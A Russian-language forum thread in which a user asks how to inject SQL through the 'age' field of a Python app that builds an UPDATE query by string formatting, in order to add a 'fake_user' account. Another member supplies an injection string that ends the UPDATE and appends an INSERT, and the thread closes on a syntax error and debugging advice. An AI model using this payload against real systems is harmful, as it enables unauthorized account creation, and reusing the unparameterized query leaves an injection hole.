powered by simpleCommunicator - 2.0.60     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Microsoft SQL Server [игнор отключен] [закрыт для гостей] / Не могу составить SQL запрос для Penetration test
5 сообщений из 5, страница 1 из 1
Не могу составить SQL запрос для Penetration test
    #39806524
Sergunka
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
В общем есть приложение на питоне где исполняется простой SQL запрос

Код: python
1.
database.execute("UPDATE users SET age={} WHERE username='{}';".format(age, username))



Есть огромное желание произвести вторжение через следующую комбинацию, если подставить через поле "age" следующее значение как это я (полный ламер в SQL) себе представляю


Код: sql
1.
2.
3.
4.
UPDATE users SET age=
( INSERT INTO users VALUES ("fake_user", "64762ccf8e701", "", 11); 
SELECT age from users WHERE username="terpila")
WHERE username="terpila"




В общем идея проста в поле SET попытаться протащить скрипт по созданию еще одно пользователя "fake_user".

Походу этого нельзя сделать, но всеж интересно было спросить... мало ли чего.

P.S. User "terpila"- уже есть в базе.
P.S.S. Disclaimer: Весь код и вторжения выдуманные и никак не связаны с реальными событиями.
...
Рейтинг: 0 / 0
Не могу составить SQL запрос для Penetration test
    #39806530
Фотография alexeyvg
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
SergunkaВ общем идея проста в поле SET попытаться протащить скрипт по созданию еще одно пользователя "fake_user".

Походу этого нельзя сделать, но всеж интересно было спросить... мало ли чего.А что тут сложного???
Если, конечно, age и/или username могут быть произвольными строками.
Например, если age присвоить строку
Код: sql
1.
'age WHERE username = null insert users values(''fake_user'', ''64762ccf8e701'', '''', 11) UPDATE users SET age=age '


то выполнится:
Код: sql
1.
2.
3.
4.
5.
UPDATE users 
SET age=age 
WHERE username = null 
insert users values('fake_user', '64762ccf8e701', '', 11) 
UPDATE users SET age=age WHERE username='terpila'
...
Рейтинг: 0 / 0
Не могу составить SQL запрос для Penetration test
    #39806536
Sergunka
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
alexeyvg,

Спасибо огромное. Идея хорошая... но пока дает ошибку.

Код: html
1.
2.
Executing query UPDATE users SET age=age WHERE username = null insert users values(''fakeuser'', ''64762ccf8e701cf9a687c4b9eb4fa88d590a202ff538dcd7d8e9391f53f2df3e'', '''', 11) UPDATE users SET age=age WHERE username='terpila';
SQL Error Occurred: near "insert": syntax error
...
Рейтинг: 0 / 0
Не могу составить SQL запрос для Penetration test
    #39806537
Фотография alexeyvg
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
SergunkaСпасибо огромное. Идея хорошая... но пока дает ошибку.Так нужно просто вывести полученную строку, и её отладить.
Тем более, если у вас не MSSQL :-)
Может, я ещё зря одинарные кавычки удваивал, у вас же строка не в сиквеле, а в клиенте.
...
Рейтинг: 0 / 0
Не могу составить SQL запрос для Penetration test
    #39806539
Sergunka
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
alexeyvgSergunkaСпасибо огромное. Идея хорошая... но пока дает ошибку.Так нужно просто вывести полученную строку, и её отладить.
Тем более, если у вас не MSSQL :-)
Может, я ещё зря одинарные кавычки удваивал, у вас же строка не в сиквеле, а в клиенте.

Да, сейчас гляну какой синтаксис для Питоновской базы в памяти... спасибо за совет.
...
Рейтинг: 0 / 0
5 сообщений из 5, страница 1 из 1
Форумы / Microsoft SQL Server [игнор отключен] [закрыт для гостей] / Не могу составить SQL запрос для Penetration test
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]